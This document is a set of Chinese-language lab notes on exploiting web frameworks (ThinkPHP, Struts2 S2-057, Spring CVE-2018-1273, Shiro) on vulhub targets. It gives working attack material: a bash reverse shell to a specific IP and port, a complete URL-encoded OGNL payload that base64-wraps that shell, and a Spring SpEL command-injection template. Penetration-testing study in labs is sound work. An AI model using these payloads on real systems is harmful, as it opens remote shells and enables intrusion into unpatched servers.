常见的框架漏洞
Thinkphp
Thinkphp5x远程命令执行及getshell
vulhub/thinkphp/5-rce
docker-compose up -d
命令执行
代码执行
struts2
vulhub靶场 /struts2/s2-057
访问/struts2-showcase/
/struts2-showcase/${(123+123)}/actionChain1.action拼接后,可以看到数字相加
反弹shell(建议使用抓包替换,一次可能不成功)
可以使用url解码下面一大段内容,还原,将其中的反弹shell的base64编码语句换成自己的
bash -i >& /dev/tcp/39.105.47.83/6666 0>&1
拼接
%24%7b%0a(%23dm%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23ct%3d%23request%5b%27struts.valueStack%27%5d.context).(%23cr%3d%23ct%5b%27com.opensymphony.xwork2.ActionContext.container%27%5d).(%23ou%3d%23cr.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ou.getExcludedPackageNames().clear()).(%23ou.getExcludedClasses().clear()).(%23ct.setMemberAccess(%23dm)).(%23a%3d%40java.lang.Runtime%40getRuntime().exec(%27bash+-c+%7becho%2cYmFzaCAtaSA%2bJiAvZGV2L3RjcC8zOS4xMDUuNDcuODMvNjY2NiAwPiYx%7d%7c%7bbase64%2c-d%7d%7c%7bbash%2c-i%7d%27)).(%40org.apache.commons.io.IOUtils%40toString(%23a.getInputStream()))%7d
Spring
远程命令执行命令
vulhub靶场 /spring/CVE-2017-8046
访问 /customers/1 刷新,进行抓包
修改抓包内容
spring 代码执行
CVE-2018-1273
/users
反弹shell
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("想要执行的命令")]=&password=&repeatedPassword=
远程下载反弹shell连接
bash-i >& /dev/tcp/39.105.47.83/6666 0>&1
执行文件
Shiro
Shiro rememberMe反序列化漏洞
vulhub靶场 /shiro/CVE-2016-4437
使⽤BurpSuite进行抓包,在请求包中的cookie字段中添加rememberMe=123;,看响应包header中是否返回 rememberMe=deleteMe值,若有,则证明该系统使⽤了Shiro框架
利用工具
反弹成功